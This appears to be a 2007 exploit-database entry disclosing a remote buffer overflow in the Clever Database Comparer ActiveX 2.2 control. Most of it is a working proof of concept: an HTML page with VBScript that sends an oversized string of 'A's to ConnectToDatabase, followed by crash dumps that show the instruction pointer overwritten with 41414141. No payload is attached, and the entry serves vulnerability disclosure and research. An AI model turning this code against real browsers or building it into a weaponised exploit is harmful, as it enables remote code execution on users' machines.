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Clever Database Comparer ActiveX 2.2 Remote Buffer Overflow PoC
<pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/14</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
<b>Clever Database Comparer ActiveX version 2.2 Remote Buffer Overflow Exploit</b>
url: http://www.clevercomponents.com/home/news.asp
price: from $49.99 to $149.19
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
all software that use this ocx are vulnerable to these exploits.
-----------------------------------------------------------------------------
<object classid='clsid:24E0CD64-A8DE-4BE4-9706-4CFC89D212C9' id='test'></object>
<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">
<script language = 'vbscript'>
Sub tryMe
buff = String(2000,"A")
test.ConnectToDatabase buff,"default", "default", "default", "default"
End Sub
</script>
faultmon dump:
12:58:35.492 pid=0570 tid=07FC EXCEPTION (first-chance)
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [41414141])
----------------------------------------------------------------
EAX=01D04141: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
EBX=41418282: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ECX=01D0EA01: 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
EDX=00000001: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ESP=01D0E510: 58 DD 0A 03 41 41 41 41-41 41 41 41 00 00 14 00
EBP=01D0E540: E0 EA D0 01 28 6F 93 03-41 41 41 41 58 DD 0A 03
ESI=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDI=030ADD58: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
EIP=039316BC: 38 0E 74 1F 66 85 D2 6A-00 74 07 68 C8 32 95 03
--> CMP [ESI],CL
----------------------------------------------------------------
12:58:35.492 pid=0570 tid=07FC EXCEPTION (first-chance)
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [41414141])
----------------------------------------------------------------
EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDX=7C9137D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00 00
ESP=01D0E140: BF 37 91 7C 28 E2 D0 01-28 EC D0 01 44 E2 D0 01
EBP=01D0E160: 10 E2 D0 01 8B 37 91 7C-28 E2 D0 01 28 EC D0 01
ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EIP=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
--> N/A
----------------------------------------------------------------
</span></span>
</code></pre>
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14 May 2007 00:00Current
7.1High risk
Vulners AI Score7.1